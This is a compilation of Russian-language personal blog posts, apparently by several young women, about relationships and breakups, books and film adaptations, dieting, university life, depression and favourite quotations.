Дочитала вторую книгу Рика Янси из трилогии "5-ая волна". Чувствую себя очень скомкано. Нет, книга понравилась, даже очень, но вот теперь у меня ломка. Вы, конечно, должны были слышать, ибо трейлер у фильма получился мощный. В отличие от его самого. Просто хвалю небеса за то, что не прочла книгу до фильма, ибо я бы просто на середине встала и ушла. Ну, либо же все эти никчемные два часа плевалась и спойлерила подругам. В общем, кто остался в таком же унынии от фильма, читайте книгу. Даже не так. Читайте книгу! Разница просто глобальная: важные моменты пропущены, диалоги скомканы и просто ни о чем, концовка и сами герои тоже дали маху. Так вот о грустном: чувствую себя полностью опустошенной, ибо добрая википедия подсказала, что финальная часть выйдет только в мае. А для нас это значит, как минимум, в июне. Ненавижу покидать дочитанные книги.

Я так довольна!

В одном из прошлых постов я отправяла платешки, которые я нашла в интернете, и которе хотела бы надеть на свою свадьбу. И вот совершенно неожиданно, один из салонов нашего города выкладывает в инстаграм фото того самого платья, оно у них в наличии. Ну я думаю, это судьба, надо сходить поглазеть да померить. Потому как я одна из тех сумасшедших баб, которая рискует и пьет шампанское, а еще собирается заказать платье на алиэкспресс))) А покупать без примерки сыкатно, так что это отличный для меня шанс.

И очень круто, что я это сделала, потому что поняла: 1. Как бы я не боялась, мне безумно идет этот цвет, и мы с подружкой оказались в полнейшем восторге от него, теперь ни о каком белом платье вообще не может идти речи. И 2. Мне не идет платье без лямок по причине достаточно большой груди, которая так и норовит выглянуть наружу.

И мне бы расстроиться, но на мое счастье у них было точно такое же платье, только с закрытым верхом. И счастью моему небыло предела!

Платье в салоне я покупать не стала и не буду. Потому что на его ценник у меня нервно задергался глаз. 87 тысяч.

Самое главное, что должно быть в каждой женщине — это чувство собственного достоинства. Даже если любишь мужчину, себя нужно любить ещё сильнее.

удручили и обрадовали меня просьбой написать статью для паблика, теперь я чувствую, что должна что-то написать, но слишком много вопросов, волнующих меня, сливаются в большую кучу, поэтому для статьи нет сил. я решила немного разобраться. хочу поотвечать на все вопросы, которые оставляла без ответа. но, конечно же, еще слишком рано в конце концов ответить на давно мучающий меня вопрос: можно ли одновременно любить двоих.
пролистала вопросы, что оставляла себе - заметила, что со вхождением во взрослую жизнь их стало больше, и их количество увеличивается прямопропорционально тому, как я познаю взрослую жизнь.
1. поняла, что больше всего не могу терпеть, когда веселятся без меня. это эгоизм или что?
явный эгоизм. теперь все больше и больше понимаю, что эгоизм есть суть человек. я и вправду не знаю, можно ли его побороть.
2. будешь с тем, с кем легко и просто? или с тем, с кем всегда хотел?
нужно быть с тем, кто объединяет в себе оба пункта. именно поэтому найти того, с кем можно быть всегда, невероятно сложно. хотя этот вопрос похож на "кого выбирешь: того, кого любишь, или того, кто любит тебя?". вот здесь я уже знаю как поступлю. любить для меня важнее, чем принимать любовь. поэтому по факту - с тем, с кем всегда хотел.
3. если убил по неосторожности - смягчают наказание, а если влюбился? можно облегчить все это?
мы, к сожалению, не можем контролировать весь этот комплекс реакций. и я не могу ответить на вопрос: можно ли влюбиться по неосторожности.
4. почему каждое лето начинается с прогулок в одиночку?
да потому что по-настоящему близко я подпускаю людей слишком редко, а при прекращении действия внешних факторов, заставляющих нас видеться, заканчиваются и встречи. я слишком мало людей готова любить и слишком многих ненавижу.
5.пришел к моей маме на работу рассказать о своей жизни. неужели нельзя вычеркнуть целый город из ума?
а нельзя. как вычеркнуть ветвь истории. можно лишь по собственному желанию не вспоминать, как о вещах незначительных. вполне получается.
6. почему мы всегда в итоге приходим к тому, от чего бежали?
блять, потому что бежали. бежали, а не устраняли причины и искали решения. то, что не устраивает, нужно устранять, а не зарывать в себе, как в детстве.
7 . она последний мой настоящий друг, а теперь мы не можем нормально поговорить из-за любовей.почему в моей жизни всегда любовь исключает дружбу?
потому что действует принцип "всё или ничего". если я решаю окунуться во что-то, то уж именно в это и только в это. потому что я ставлю любовь выше дружбы.
8. альтруистом быть становится больно. может нахуй это?
сегодня понимаю, что нельзя убивать в себе ростки альтруизма ни в коем случае. хоть и считаю, что альтруизм - лишь дитя сублимации. как бы ни было несправедливо (увы, таков мир бывает), создавай свою справедливость.
9 . то, что я когда-то говорила, прикрываясь юмором, но с искренним желанием, стало правдой. как?
вот тут не понимаю. видимо, "секрет" действует. закон Вселенной: если чего-то хочешь на самом деле, то получаешь.
10. а бывает любовь без боли?
по-видимому, бывает. но я такой не чувствовала никогда.
11.мы добровольно отказываемся от всех радостей и ошибок молодости?
для каждого эти радости и ошибки разные, а мы отказываемся лишь от общепринятых. хотя я все же чувствую, что проебываю юность.

я так рада была встретить А. просто до безумия!
ещё понять не могу, что дала мне эта встреча, но резко изменилось настроение.
прекрасно видеть его лицо периодически. столько тем нас связывает, столько прекрасных мыслей и дебатов, приколюх и подколов.
уважаю этого человека за честность и многогранность)

сегодняшняя болтовня была просто крутой разрядкой.

"-что ты делаешь?
-мне безумно захотелось нажать тебе на кончик носа
-зачем?
-ну я же так делал периодически раньше. и вот опять твой нос близко"
- в этом диалоге всё настроение

Сказал мой знакомый другой моей знакомой.

Он жил в то время с какой то девушкой, влюбленной в него по уши, сам при том, естественно не любя.

И так засело вот это мне.

Мы не ругаемся, за полгода лишь 1 серьезная ссора (но причина – серьезней некуда) и мелких штуки две. Не спорим, если только в шутку.

Но и не разговариваем. Так чтобы по душам. У нас чаще всего чуть расширенные монологи, и то, я что-то говорю. Но это все слишком.. буднично что-ли.

Когда он с кем то видится, то прям весь живет горит, какие то подробности интересные рассказывает. А со мной может молчать весь вечер и спать.

Знаете это как начинаешь у малознакомого человека спрашивать о его делах – отделаешься каким нибудь «да хорошо все» а твой друг тебе может рассказать ну любую мелочь, но рассказать!

А тут не просто друг, мы встречаемся, мы живем, блять, вместе, мы чуть не завели ребенка, у нас совместный кот!

Я не вижу нашего будущего. Общего.

Утешает конечно мысль, что быть любимой лучше, чем любить.

Но вдруг и он из таких, кто хорошо устроился?

Просто я недолюбленная по своей старой жизни, даже родительская была какая то призрачная, с парнями всё не ладилось, и тут вдруг начинают ценить, хотеть видеть, слышать. К такому привыкаешь страшно быстро. А потом случается вот такая фигня, и сидишь как та старуха у корыта и вспоминаешь, как было. И как может больше не быть.

Я не выдержала, не дождалась и написала ему про то, что нам нужно обсудить наше общение. Спросила устраивает его наше положение или нет так называемых друзей. Он ответил:

"не очень. хотя я особо не переживаю по этому поводу."

Ненавижу его за то, что он делает из себя какого то супер-человека, который может закрыть чувства на замок. Хватит закрываться.

знаешь, моя душа рваная вся тебеее..

Так и хочется завернуться в одеялко, да и не высовываться до нормальных времен. Поздравляю, в моей жизни появился еще один человек, который дотронулся до моего сердца и кинул меня) Звучит мило. Да я и сама не понимаю, что происходит в моей голове. И в голове ли?..

Час ночи, завтра рано вставать, но что-то мешает мне лечь спать. Мысли или что?.. Я растеряна, потеряна, утеряна.

Сегодня я нехило замерзла, но это того стоило. Практика мне сейчас совсем к месту.
Нет настроения писать

странное осознание того, что я люблю мужчин, которые старше, я люблю что бы они выглядили старше и были старше меня, что бы у них уже был какой-то опыт в жизни, какие-то трудности до этого

не смотря на то, что у нас разница с Ирошниковым не особо большая, но я ощущаю то, что он старше меня, что он может ко мне относиться как к маленькой девочке

смотрю сейчас фильм с Винсентом Касселем и просто не могу, мужчина, немного седой и просто отличный

— И куда меня приведёт эта постель?
- Будто ты не знаешь. Все постели ведут либо к размножению, либо к одиночеству…

Ринат Валиуллин "В каждом молчании своя истерика"

кстати, появился Колян
пишет мне, забалтывает меня чет, но это все неважно. я поступлю с ним точно так же, как и он поступил со мной

Сижу на полу в ванной. Машина достирывает. Он спит. А я на полу в ванной вам пишу))) . Мне уютно и здесь, потом лягу к нему под бок и будет еще уютнее. Завтра суматошный день и мы уедем далеко, но об этом потом.

Жизнь одна, поэтому быть счастливым важнее, чем быть хорошим, — перестань оглядываться на других, будь честен с собой, поступай, как считаешь нужным, и неси полную ответственность за свой выбор

Проще надо ко всему относиться, проще. Правда ведь? Проще, легче. Впустить по-больше воздуха и легкости в свою жизнь. Так ведь ты мне постоянно повторяешь?

Столько всего хочется написать, особенно учитывая то, что это первая запись в моем блоге, но, кажется, в моей голове миллиард мыслей, которые путаются, и сложно выбрать одну единственную. Пожалуй, так это и оставлю. Дальше - лучше.

Все те дни, когда я была с Сергеем, с нами был и его лучший друг. Мало того, что мне приходилось постоянно избегать взглядов самого Сергея, так ещё возникла явная симпатия со стороны его друга. Мда. В общем, как-то стрёмно сидеть напротив двух парней и видеть, как и один, и второй не сводят с тебя глаз. А самое смешное в том, что большую часть времени я говорила именно с другом, ибо у нас есть общие знакомые и вещи, которые мы действительно можем обсудить. Даже потом, когда мы уже ехали домой, Дима (друг) сидел сзади и задавал мне какие-то вопросы, шутил со мной, а Сергей молча вёл машину и лишь посмеивался с наших шуток. Я всей душой и всем телом ощущала, что как только я вышла с машины, они заговорили обо мне. Я по Диме вижу, что он хотел бы со мной общаться, но, видимо, мужская дружба даёт о себе знать. Продолжает тихо лайкать мне все фотографии и улыбаться при встрече. Ни в коем случае не хочу быть кошкой, которая между ними пробежит, поэтому, думаю, что делать и как, дабы обойти стороной их двоих, никого не задев. Вот вам и "полюби себя и тебя полюбит весь мир", вот вам и "будь собой и ты станешь для кого-то особенной", вот вам и "улыбка способна на всё". Может, всё-таки проще было не менять себя и жить в спокойствии, без всех этих парней-друзей-знакомых ?

Итак, что я имею на сегодняшний день:

1. 2й день как мы не разговариваем с М. (и судя по всему, извинений не последует)

2. 4й день как я ничо не жру на ПП (ну как ПП, не ем сладкое, мучное и т.д и т.п, питаюсь дробями, пью воду немеренно)

Вчера у офис-менеджера на работе был ДР, и по этому поводу сегодня все вкушали торт. Мне не тяжело воздержаться и не соблазниться на сладкое, а стыдно признаться, что я худею. Хотя я и не худею, по сути. Сколько себя помню, стоит мне сказать, что я "на диете/не ем сладкое/мне нельзя" на меня все накидываются как шакалы, и говорят мол ты такой дрищ, голодаешь, щас в обморок упадешь, случится анорексия и все тому подобное. И это невероятно бесит! Меня очень раздражает, когда люди, с видом ученого читают свои лекции. Я думаю, что человек, решившийся на смену рациона имеет на то причины.

Мои же причины это: моя кожа, которая сразу кишит прыщами от сладкого, мои хомячьи щеки, и нажранные после Америки кг, от которых я не избавилась сразу. К тому же, как оказалось, от генов то не уйдешь. А в моей семье есть эта самая предрасположенность. И если лет в 17-18 я ела как слоняра и ни на грамм не поправлялась, сейчас все вкусняшки можно вычислить по весам.

Не знаю, конечно сколько продержусь в этот раз. Будут читмилы, уверена. Но не в ближайшие недели 2 точно. А пока радуюсь первым результатам: кожа в порядке.

блядь, что со мной не так, меня бросает любимый парень, а я слушаю "бабы-стервы" и ржу, что песни аллегровой про мою жизнь. больная циничная сука.

День за днём. Неделя за неделей. Сезон за сезоном. Жизнь проносится. Пролетает. И в каждом дне час за часом лишь рутина.

Ветеринар:

-Ребят, так в чём проблема? В финансовом плане?

-Да.. Сможем заплатить только на следующей неделе. Можно же так?

-Сейчас посмотрим, - ветеринар выходит, возвращается через минуту и кладёт на стол деньги:

-Вот Вам на 2 недели. Без процентов. Я всё понимаю, время такое. Да и не каждый может за раз такую сумму выложить, -….

я не мастер красивого слова, не умею красочно и эпично рассказывать ситуации, произошедшие со мной когда-либо, но я просто хочу написать и рассказать эту историю тем, кому будет интересно ее прочесть.

в пятницу я поехала к Кате, чтобы скинуть фотки с ее др на флешку, ибо они слишком много весят. мы думали куда бы сходить вечером и случайно наткнулись на афишу Колизея, где речь шла о том, что компании из 3 девушек предоставляется бесплатная бутылка шампанского. ну как это Катя пропустит такую акцию?) она позвонила Ксюше и та согласилась быть третьей в нашем вечернем кутеже. вечером я взяла такси, приехала к Кате, Ксюша уже была у нее. мы выпили виски с колой и поехали в Колизей. нам сказали что либо мы платим за вход и бутылка достается бесплатно, либо вход бесплатный, но без бутылки. естественно, мы выбрали бесплатный вход. взяли отвертку, сели за столик. из народа был один очкарик и остальные стремные бабы под 30. в общем, прождали мы до 00.30 и решили ехать в Галактику. там заказали еще по 2 отвертки каждой. в голову мне уже хорошенько дало и мы пошли танчить. Катю подозвал какой-то парень, попросил поздравить его друга с др. потом мы ходили по клубу, и остановились у компании тех парней, которые и просили поздравить друга. танцевали. я вышла на улицу. ко мне подходит парень из той компании, что с нами танцевала.

—привет

—привет.

—я Саша

—а меня Маша зовут

—я знаю

—откуда?

—мы в политехе вместе учились. ты вроде в БСК-37?

—да.откуда ты знаешь?

—я всю вашу группу знаю

к нему подошел друг и они начали говорить, я ушла в помещение. Саша сразу рванул за мной. мы присоединились к нашей танцующей компании. и тут подошел ко мне мой знакомый (жуткий бабник, который летом еще клеился к моей подруге, а тут уже увидил меня стройную и красивую, по сравнению с тем, что было раньше, и решил подкатить ко мне). начал звать с ним и его компанией побыть. я его отшила, подошел Саша, спросил что за он. каждый раз, когда я шла на улицу, Саша шел за мной.я этому очень удивлялась. еще был момент, когда я присела за столик, Саша решил подсесть ко мне, но мой тот знакомый его опередил. Саша просил его пропустить ко мне, на что тот его послал. увидев все это, я встала и пошла танцевать (только мордобоя мне не хватало). потом, когда танцевали, подошел Сашин друг и сказал что я очень понравилась Саше, но тот стесняется (и больше я не помню. вот серьезно.как отшибло). Саша позвал меня отойти с ним, спрашивал что его друг мне сказал, попросил номер. обычно, люди днем, в тихой обстановке не могут номер запомнить с первого раза, а тут в клубе шумном, пьяный он услышал и записал номер с первого раза.

а теперь ситуация от Сашиного лица.

я тебя увидел еще в политехе. мы очень симпатичная и я многое знаю о тебе. я бы подошел еще два года назад, но очень стеснялся. я нашел тебя вк, заходил на твою страницу, я помню что ты еще рисунки когда-то интересные скидывала. у тебя талант, должен сказать.а теперь представь: я два года, можно сказать, сидел в кустах и следил за тобой. узнавал все о тебе. потом прошло время, я призабыл уже. а тут мы решили поехать в клуб. причем, изначально хотели в Молодежку, но в последний момент передумали на Галактику. я помню, что Паша просил Катю поздравить друга. я видел только Катю и Ксюшу. я помню, как мы танцевали, а тут такой подходкой идешь ты, прямо к нам. я не мог поверить своим глазам, что это действительно ты.да, я пошел в бар "набираться смелости", чтоб подойти к тебе. потом видел как ты вышла, пошел чтоб познакомиться. а когда увидел что тот твой знакомый к тебе подсел за столик, начал с ним спорить.подошел мой друг охранник и я ему сказал:"или ты его успокоишь, или его успокою я. я два года на нее смотрю. я не упуща этот шанс. это судьба".так что никуда ты от меня не денешься. это судьба.

потом мы дважды гуляли, он безумно волновался, а завтра мы идем в театр смотреть на постановку, в которой будет участвовать его лучшй друг

Думаю моим отношениям осталось не долго жить, ровно столько на сколько у меня хватит терпения. А я на пределе…

Зачем мне человек который считает что я все делаю не так? Ну прям все? Не так посуду мою, не вовремя. Не такие булочки испекла, не красивые получились (да вообще как много баб балуют своего мужика булочками, тортиками, хлебушком собственного приготовления?). Я кухаркой не нанималась, делаю все исключительно из любви, стараюсь как то мило украсить ну там сосиски сердечком поджарю или булочки нашими инициалами. А в ответ ни капли похвалы или благодарности. Мама с сестрами у него вкусно сильо готовят. А я обосранная. Просто бесит неблагодарность.

Все что его интересует это ТАНКИ… сука сил нет.. как меня заебало лицезреть его затылок. Кроме танков нет ничего. Со мной поссорится из-за танков-говно вопрос. Всегда готов. Мне кажется если я посталю ультиматум: я или танки, он выберет танки. Вот нахуй оно мне надо?

Он не работает. У всего есть свои причины. И у этого тоже есть (не хочу об этом писать ибо долго, но все связано с тем что мы находимся в Донецке) но сколько это будет длится? Я могу пойти работать. Мне вообще не принципиально, но моя семья просто не поймет если я буду работать а мой мужик нет. Кстати мы в Донецке с мая. ВОТ НАХУЙ ОНО МНЕ НАДО?

Подруги говорят что у меня просто железные нервы…

А ведь это очень важно — прочувствовать и принять погоду друг друга. У всех она разная. Один живёт в вечной осени с равномерными и безучастными дождями, другой — в одухотворяющей весне, где после дождливого дня наступает солнечный. Важно не заставлять ближнего быть тем, кем ты хочешь его видеть. Не упрекать. Всё равно он останется собой, вернётся в свою погоду, пусть и самую холодную на планете. Лучше с самого начала принять погоду любимого человека, её светлые качества, показать ему лучшие качества своей и создать один на двоих общий климат.(с)

сделала тему блогу, решила придать ему все таки нормальный вид.

я уже и забыла, какого то это вставлять фон, картиночки подбивать.

на самом деле много чего происходит в моей жизни и как то выговориться хочет, и совет спросить, что мне, вновь дуре, делать во всем этим, а с другой стороны не хочется мусолить и поднимать эту тему.

не вяжется в общем, девчонки.

не получается.

Теперь я знаю, как может болеть душа. Как всё внутри содрогается, переворачивается.

Куда бы выплеснуть всю эту боль. Я пишу сюда, её не становится меньше. Я плачу, она не уходит через слёзы. Нет, когда я формирую свои мысли в слова, прорыдаюсь, она как будто отступает. Но писать каждый день об одном и том же и засыпать с опухшими глазами я не нахожу выходом из положения.

Я не хочу уходить в депрессию, но ежедневно к вечеру камень в душе тяжелеет и лежит неподъёмным грузом в моей грудной клетке. Он давит мне на рёбра, я его чувствую. Если днём я могу себя чем-то отвлечь, то вечером я остаюсь наедине с собой, и камень появляется.

Неужели всё уже не будет так, как раньше? Неужели я скучаю по этому? Неужели я буду сожалеть об этом?

04.02.2016

P. S. Я опять худею из-за переживаний. Куда уже.

Удивительно, но если смотреть на свои школьные проблемы и мои студенческие проблемы, то по сути они не меняются. Они лишь растут, и меняют степень серьезности. Кажется смешным как я тряслась над контрольными, егэ и ссорами с подружками. Но что я имею сейчас? Я трясусь перед экзаменами, парюсь из-за курсовой и страдаю от одиночества. И у меня есть отличный пример моей бывшей соседки, которая закончила в том году. Она не может найти работу, переживает из-за отношений и боязни не построить семью с тем самым единственным. Наша жизнь череда этапов. И каждый предыдущий эта следующий этап в миниатюре. Если осозновать это, то можно у самого себя чему-то научится. Но если на чистоту, то кто вообще на этой планете учится на своих ошибках! Если я встречу такого человека, ему придется научить меня, потому что я не отстану.

Хэллоу: 3

Сил писать нет, ужасно устала, хочу спать, да и музыка на айпод сама по себе не закачается. Но не сказать вам "Пока!" - нельзя! Сегодня ночью уезжаю во Вроцлав, жизнь заносит далеко от дома) Так как ноут брать с собой нет возможности, ибо жесткий диск в нём приказал долго жить, полноценного доступа к Вьюи у меня не будет. Ну я думаю не надолго и я все же буду вас навещать с телефона. Если кому-то будет интересно, в блоге есть ссылки на мой Вк и Тамблер, там меня всегда можно найти и я всегда вам рада.

Всех люблю, всех целую! Удачи, буду скучать: 3

Он очень красиво курит. Это сложно объяснить, но движения его руки плавные и уверенные – никаких нервных затяжек. Он вдыхает дым, подчеркивая запретность своего сладкого плода, вдыхает медленно, будто пьет глоток за глотком каждый виток сигаретного дыма. У него хорошая, можно сказать, правильная улыбка – легкая, но немного грустная, или это потому что он сейчас расслаблен. Ты ему позавидовал – он может позволить себе сейчас откинуться назад и впасть в забытье сна. «Этот человек обаятелен.» - ты ловишь себя на этой мысли, отметив также, что утром ты не заметил в нем ровным счетом ничего, кроме железной деловой хватки. От его улыбки грустно. Тяжелая, будто откуда-то из детства, когда мельком смотришь в зеркало, перед тем как запереться в своей комнате в совершенно пустом доме. Так улыбаются своему отражению-одиночеству, здороваясь с ним каждый вечер и провожая его приход в свою собственную душу. Что за мысли лезут тебе в голову? Немедленно прогнать их прочь. От них только головная боль, а она так выматывает.

часто на вьюи попадаются такие посты, где пишут "настоящий мужчина решает проблемы своей женщины, даже не спрашивая ее об этом" или что-то в таком ключе. меня такие посты вводят в ступор.

дамы, какие из ваших проблем может решить мужчина? вот серьезно, я перебрала свои текущие проблемы и трудности и даже представить не могу, какую из моих проблем смог бы решить мужчина. сходить за меня в деканат и написать заявление о переводе и собрать пакет документов? на практику в школу за меня пойти? похоронить моего отца? решить вопрос с пропиской и наследством? голову за меня помыть? обои в коридоре поклеить? проехать через украинские блок-посты? какие проблемы обычно решают мужчины??? расскажите, аж интересно.

я могу спрятаться в книгах, рисовании, учебе и/или работе. в чем-то еще. но не вечно. когда - то это перестанет спасать. и я снова пойду на дно.. .я чувствую, что это случиться очень скоро.наверное поэтому я хватаюсь снова за А.нельзя так.

А батя мой сказал, что я веду себя, как птушница. И теперь мне стыдно…

Ну а с другой стороны, как? как решить такую проблему? Если люди не понимают русский язык и сами провоцируют ситуацию?…

что я опять тут делаю? я же завязала с долбаными блогами. да, на годик примерно меня хватило, а теперь в моей жизни появился повод страдать, и я опять тут.

очередной повод. кареглазый, всегда пьяный и с татуировкой на лице. он не прощает и не простит.

а я тварь и сломала всем жизнь, ничего нового.

почему у некоторых баб получается нормально жить все-таки? как?

Почему-то стойкое ощущение что всё идёт к логическому завершению. Чувствую как крепнет уверенность проститься с этим этапом моей жизни и двигаться дальше. Почему-то, мне кажется что нам будет лучше по раздельности, не вдвоём.

Почему-то, эти мысли не дают покоя уже около недели. Эмоции 50 на 50. Половина не хочет отпускать его и всё ещё надеется на лучшее спустя 6 лет, вторая половина уже обрезает ниточки, связывающие нас.

Нет, он молодец. Я вижу он старается что-то изменить, себя, нас, меня. У него получается. Но…

Может конечно это всё мои тараканы, но я так не могу. Недоверие и неуверенность в будущем убивает. Я не привыкла как он, жить одним днём. И он знает это. Но…

6 лет ожидания слишком долго, даже для меня. Женщина же должна мотивировать мужчину, вдохновлять его, а я не вижу что мне это удается. Мы просто плывём по течению. И может правда я ему не подхожу?

Я люблю его, хочу от него дочку и семью с ним, но…

У нас началась психология. Теория Фрейда оказалась очень даже увлекательной, хотя от самих семинаров не особо много удовольствия. А вот от электива по клеточным технологиям я в восторге! Очень интересно, да ещё и лектор шикарно рассказывает. Хоть что-то вызывает во мне интерес.

Как многозначительно бывает молчание женщины и сколько чувств скрывается порой за пустым разговором. Оноре де Бальзак "Покинутая

Ну и ещё один непонятный момент. Лично для меня.

Мы с Алиной опять целовались. И уже на следующий день, днём, когда мы угорали и вспоминали, что было, Мер сказал такую фразу " Мы с Даней решили, что вы целовались, что бы спровоцировать нас обоих на конфликт."

Почему? Причём тут Мер? И какой конфликт? Я не врубилась :D

А ещё я боюсь Вову. Это парень, который прошлым летом хотел со мной переспать, но я убежала от него и вызвала такси.

Вообще он хороший парень, взрослый, ему 30 лет, у него свой бизнес. Но он подрабатывает в рестике офиком. Когда есть время. И короче мы с ним хорошо общаемся, когда видимся.

И вчера я снова услышала от него то, что я не хотела слышать. Он признался, что любит меня. Стал плести мне о том, какая я классная и как он все сделает ради меня.

Я понимала, что это пьяные бредни, но что бы не слушать все это, сказала ему, что у меня есть парень. А он взорвался, стал просить, что бы я позвонила сейчас ему и что он переломает ему ноги, потому что он отпустил меня на эту тусовку.

Короче я сбежала от Вовы. Вообще пошла спать, однако он меня нашёл. Я снова от него сбежала. И ждала пока он уснёт, что бы он по пьяни снова меня не нашёл. В итоге со мной на кровати спал Мер. Потому что я правда боялась всеголюбищего Вову.

Ой, девки, что сегодня былоооо! Пост ожидается длинным, предуреждаю сразу.

Во-первых, по поводу работы. Вчера активно погуглила все же эту фирму, и да, моя интуиция меня не подвела. Короче, суть в том, что ты туда приходишь под предлогом работы "оператора пк", ходишь на "подготовительные курсы" недельку, тебя там обрабатывают, и в конечном итоге у них на компьютерной программе учат играть типа на бирже. А потом предлагают уже по настоящему вбухать туда к ним деньги. И ведь люди берут кредиты и "горят" там! Короче, жесть. Уже отзвонилась и отказалась.

Но это же еще не все! Аура пизд*ца меня просто окружает!

Короче, у меня есть подружка на потоке (поток состоит из 8 групп, по 10-12 человек), и учась в разных группах, встречаемся только на лекции. В этом году ее перевели в другую группу, и, грубо говоря, у нее не сложились отношения. Началось все с того, что она отказалась с ними отмечать выускной за 20 штук. Двадцать! Нахера?! Ну да ладно, но суть в том, что там прям реально быдло-телки, и они ее прям полоскать начали. Такие гадости писали, что стыдно озвучить. Их трое (хотя крутые типа только две), а она одна, естесственно ей страшно было. Ну я и решила заступиться. Написала сообщение жесткое, но без мата, они типа отсмеялись и все. Каникулы кончились, сегодня эта троица воссоединилась, и вот тут-то и началось веселье. Стали писать моей подруге на телефон, типа она трусиха, а я пизд*болка. Ну и тут как понеслось…. Я же молчать не буду! Одна то приссала, а вторая (жирная еще такая!) подходит, и типа: "пошли выйдим". Короче, мы остались в аудитории, выясняли отношения, а потом она как на меня накинется! Она за шею, я за волосы, она за мою кичку, но у меня кичка крепкая, так ухватиться удобно, а толку то мало, не больно же, думала только причесон расплетать придется :D

В итоге, нас разнимали ребята. Она ссыканула то сильно, мы же в деканат пошли. Ее вроде на другой поток кинут. Но это еще не все. Ребята то все за меня, и не только с группы, но и с потока! А девка еще одна видос записала. Так они теперь через подружек, уже секретарю ректора его перекинули! Так что, нормас все будет. Оперативненько так. Думаю, результат будет. А то меня уже зовут в прокуратуру написать. =)

Вот такие у меня дела творятся. Зато подругу больше обижать не будут, и этих овц прижучат.

Я не любила его. Порой меня выбешивал, но в большем времени было все равно. Я жила так целых пять лет. И в сентябре этого года я не выдержала, моей депрессии не было предела, да и аппатия превышала нормы. Я сказала пока, и не пришла вновь. Он просил поговорить, писал мне, звонил, даже приехал в Оренбур из Самары. До сих пор помню его заплаканные глаза. Этого простить себе не могу. Через месяц, два, совсем ничего не чувствовала.. Моя депрессия длится чуть больше двух лет, не знаю с чего началась, так и душит своим дыханием.
Зато сейчас, я почти не выхожу из своей комнаты, задвигаю шторы днем, слишком ярко, отодвигаю поздней ночью, нравится смотреть на огни уличных ламп вдалеке и машин, да и соседних домов и дальних. Почти не общаюсь с друзьями.
Часто думаю о нем. Как он, что делает, не заболел ли? Доходит ли дело до слез? Нет, определенно нет. Хочу ли я все вернуть? Ответ тот же, не стереть же этот привкус слез с его лица. Скучаю ли я? Определенно да, да, да, хоть сто раз отвечу да. Скучаю.

Главное, чтобы ожидание было лишь отрезком нашей жизни, а не всей жизнью.

Эльчин Сафарли "Если бы ты знал…"

Jojo Moyes


"Me Before You"

Знание, что у тебя есть выбор, — роскошь.

Сюжет : Лу Кларк знает, сколько шагов от автобусной остановки до ее дома. Она знает, что ей очень нравится работа в кафе и что, скорее всего, она не любит своего бойфренда Патрика. Но Лу не знает, что вот-вот потеряет свою работу и что в ближайшем будущем ей понадобятся все силы, чтобы преодолеть свалившиеся на нее проблемы. Уилл Трейнор знает, что сбивший его мотоциклист отнял у него желание жить. И он точно знает, что надо сделать, чтобы положить конец всему этому. Но он не знает, что Лу скоро ворвется в его мир буйством красок. И они оба не знают, что навсегда изменят жизнь друг друга. …

«Знаете, помочь можно только тому, кто готов принять помощь. »

Первая экранизация романа потрясающей писательницы Джоджо Мойес, которую я безмерно люблю. Только сейчас насладилась трейлером, облилась слезами и решила, что обязана написать о самой книге и о том, что я жду от фильма. Это не просто печальная история, это история на разрыв души, сердца, мыслей, а для кого-то, возможно, и на разрыв с прошлой жизнью. Книга, которая заставляет ценить то, что есть; заставляет стремиться к большему, узнавать что-то новое. Мы все забываем, что жизнь непредсказуема и завтра может уже и не быть. Книга Джоджо Мойес именно об этом. Казалось бы, сюжет вполне банален: богатый мужчина прикованный к инвалидному креслу и женщина "из низшего сословия", которая должна за ним ухаживать. Возможно, в обычном любовном романе и случилось бы чудесное исцеление и "жили они долго и счастливо", но к счастью это не обычный любовный роман. Хэппи-энда не будет, всё по-взрослому, всё как в реальной жизни. И, наверное, этим и чудесна "Me before you". Книга потрясла, вывернула душу наизнанку, заставила пересмотреть свое отношение к некоторым вещам, к жизненной ситуации, и отчасти даже помогла разрешить внутренние споры, которые тогда были во мне. Потрясающая. Светлая. Лиричная. Дающая веру на лучшую жизнь. Интересная. И чертовски напрягающая книга! Если некоторые книги, начиная читать, уже знаешь чем они могут закончится, по крайней мере окончание ты для себя можешь нарисовать, то здесь - варианта всего 2, и ты до последних страниц гадаешь - как, как закончится эта история?

Я осознала, что боюсь жить без него.

Касательно самой экранизации- я вблюбена. Да, я еще не видела фильм полностью, но двухминутный трейлер мне очень понравился. Я безумно люблю Эмили Кларк, да и Клафлин мне дико симпатизирует еще со времен ГИ, поэтому в актерском составе я не сомневаюсь. Не думаю, что они изменят конец, да и вообще я надеюсь, что отличий от книги будет мало, а лучше чтобы их вообще не было, согласитесь? Эта история, которая остается до сих пор со мной. Я как будто только вчера прочитала эту книгу, хотя прошло почти 3 года с момента прочтения. Я запоминаю далеко не все книги, которые читала, поэтому для меня это очень много значит. Обязательно схожу на фильм в день премьеры, даю себе такую установку!

Мама сказала, что если меня отчислят за неуспеваемость, ей будет неудобно перед родственниками и знакомыми. ВАТАФФффф

шоб мне так никогда не жить


выходи пораньше на работу, пиши иски, делай 400 копий на всех, сделай себе легкую роспись, чтоб рука не болела (типа галочки, или крестика, или первая буква твоей фамилии. потому что после 100 листа, любая роспись состоящая более, чем из 3х букв будет казаться тебе просто космически агромной.) не забывай поставить в оповещение, когда у тебя суд, приходи домой в 9 с законом о банках и банковской деятельности (и каждый раз читай и впитывай его по-новому, все равно каждый раз будет не понятно) и еще 4 иска сверху бери домой.
работайте юристами, это же так весело!

У Андрея до фига работы, у меня постоянный нервоз со сменой той же работы. Видимся редко. Кто считает, что если живешь вместе и, так и так, сталкиваешься, то на самом деле это не так:(

В полудреме в уставшем состоянии обнимаешься и проваливаешься в сон, утром чмокаешь в щечку и исчезаешь на весь день, вечером кушаешь и провожаешь его дальше, а иногда у него даже нет времени заехать перекусить, снова ночью в полудреме залазишь подмышку, чувствуешь объятие и проваливаешься в сон. И так по кругу, по кругу.

Безумно скучаю, безумно не хватает разговоров.

Нашла наши старые фотки пока чистила рабочий комп :)

2012 г, как-будто сто лет назад :)

Потерять не значит найти,
Потерять не значит понять,
Это только значит идти, искать, менять.
А найти не значит покой
И совсем не значит всегда
Это только значит: слепой, глухой, тупой

Но среди ночи он проснулся и крепко прижал её к себе, словно это была вся его жизнь и её отнимали у него. Он обнимал её, чувствуя, что вся жизнь в ней, и это на самом деле было так

